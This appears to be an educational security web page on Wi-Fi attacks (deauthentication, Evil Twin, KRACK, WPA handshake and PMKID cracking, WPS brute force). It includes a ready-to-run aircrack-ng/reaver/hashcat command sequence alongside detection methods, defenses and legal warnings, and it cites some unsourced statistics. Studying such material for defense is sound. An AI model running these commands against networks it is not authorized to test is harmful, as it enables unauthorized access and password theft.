Wireless attacks are malicious activities targeting Wi-Fi networks (802.11) to gain unauthorized access, intercept traffic, or disrupt services. Attackers exploit weaknesses in WPA/WPA2/WPA3 encryption, rogue access points (Evil Twin), deauthentication attacks (disconnecting clients), and brute force password cracking (WPA handshake capture). Wireless attacks are common on public Wi-Fi (airports, coffee shops, hotels) and poorly secured home/corporate networks.
Attack Prevalence: 70% of Wi-Fi networks are vulnerable to KRACK attack (CVE-2017-13077). 50% of public Wi-Fi networks have weak encryption (WEP, WPA-TKIP). Average cost of Wi-Fi compromise: $500,000+.
Common targets of wireless attacks:
Attacker sends deauthentication frames (802.11 management frames) to disconnect clients from AP. Forces victim to reconnect → attacker captures 4-way handshake for password cracking (WPA/WPA2). Tool: aireplay-ng (aireplay-ng -0 10 -a AP_MAC -c Client_MAC wlan0mon).
Attacker creates fake access point with same SSID (name) as legitimate network. Victim connects to evil twin, attacker performs MitM (capture credentials, inject malware). Uses captive portal to steal passwords (fake login page).
Exploits WPA2 4-way handshake vulnerability (CVE-2017-13077-13082). Attacker forces client to reinstall encryption key, allowing decryption of WPA2 traffic. Affects all WPA2 devices (2017).
Capture 4-way handshake (EAPOL frames) via deauth attack. Crack password with dictionary/brute force (aircrack-ng, hashcat, John the Ripper). Wordlists: rockyou.txt, SecLists, crackstation.
Exploits Wi-Fi Protected Setup (WPS) PIN vulnerability. 8-digit PIN can be brute forced in 2-4 hours (11,000 attempts). Reaver tool: reaver -i wlan0mon -b BSSID -vv.
Captures PMKID (Pairwise Master Key Identifier) from AP without requiring client deauth. Faster than traditional 4-way handshake capture. Tool: hcxdumptool + hashcat.
// Wireless attack tools (Aircrack-ng suite)
// 1. Enable monitor mode on wireless interface
sudo airmon-ng start wlan0
sudo airmon-ng check kill # Kill interfering processes
// 2. Scan for nearby Wi-Fi networks
sudo airodump-ng wlan0mon
// 3. Capture 4-way handshake (specific AP and channel)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
// 4. Deauthentication attack (force client to reconnect)
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
// 5. Crack WPA2 password (dictionary attack)
sudo aircrack-ng -w rockyou.txt capture-01.cap
// 6. Evil Twin (rogue AP - hostapd)
sudo hostapd hostapd.conf # Fake AP with same SSID
sudo dnsmasq -C dnsmasq.conf # DHCP server + captive portal
// 7. WPS PIN brute force (Reaver)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
// 8. PMKID attack (hcxdumptool + hashcat)
sudo hcxdumptool -i wlan0mon -o capture.pcapng
sudo hcxpcapngtool -o hash.hccapx capture.pcapng
hashcat -m 22000 hash.hccapx rockyou.txt
Complete suite for Wi-Fi security auditing. Tools: airmon-ng (monitor mode), airodump-ng (packet capture), aireplay-ng (deauth attack, packet injection), aircrack-ng (password cracking), airbase-ng (Evil Twin).
Wireless network detector, sniffer, and IDS. Passive detection of hidden networks, client tracking, and GPS mapping.
Automated wireless attack tool (Python). Automates: WPS PIN brute force, WPA handshake capture, PMKID attack, and dictionary cracking.
Exploits WPS PIN vulnerability (Wi-Fi Protected Setup). Brute forces 8-digit PIN in 2-10 hours.
High-speed password cracking using GPU (NVIDIA CUDA, AMD OpenCL). Cracks WPA2 handshakes (hashcat -m 22000) at 500k-1M hashes/sec.
This demonstration simulates a deauthentication attack to capture WPA2 handshake and crack the password:
This is a simulated demonstration. Real Wi-Fi attacks can capture WPA handshakes, crack passwords, and decrypt traffic. Protect yourself by using WPA3 (not WPA2), strong passwords (12+ characters, complex), disabling WPS, and using VPN on public Wi-Fi.
Monitor for excessive deauthentication frames (IEEE 802.11 management). WIDS/WIPS (Wireless Intrusion Detection) alerts: aireplay-ng deauth attack. Snort rule: content:"|C0 00|" (deauth frame).
Detect duplicate SSID with different BSSID (MAC address). Kismet, WIDS, or custom scanning (airmon-ng + airodump-ng). Monitor for AP with same SSID but lower signal strength.
Reaver brute force causes WPS lockout (AP locks WPS after failed attempts). Detected via syslog, AP logs.
WPA3 replaces WPA2 with Simultaneous Authentication of Equals (SAE) - resistant to dictionary attacks. WPA3-Enterprise uses 192-bit encryption (CNSA suite). WPA3 mandatory for new devices (Wi-Fi Alliance, 2020).
Use random 12+ character passwords (uppercase, lowercase, numbers, symbols). Avoid dictionary words, common patterns ("password123"). Example: "K9#mPx2$qL7@vR5".
WPS PIN brute force takes 2-10 hours. Disable WPS in router settings (Web UI). WPS is enabled by default on 50% of routers.
VPN encrypts all traffic (including Wi-Fi data) between device and VPN server. Prevents MitM even on compromised Wi-Fi.
Best Practice - WPA3 + Strong Password + VPN: Use WPA3 (not WPA2) for maximum encryption strength. Use random 12+ character passwords. Disable WPS (Wi-Fi Protected Setup). Use VPN on public Wi-Fi.
Wireless attacks (unauthorized access to Wi-Fi networks) are illegal in all jurisdictions:
Wireless attacks (deauth, evil twin, WPA cracking) are illegal. Penalties include:
Important: This guide is for educational and defensive purposes only. Unauthorized wireless attacks are illegal.
Official documentation: WPA handshake capture, WEP cracking, PMKID attack.
Official KRACK attack website: vulnerability details, affected devices, patches.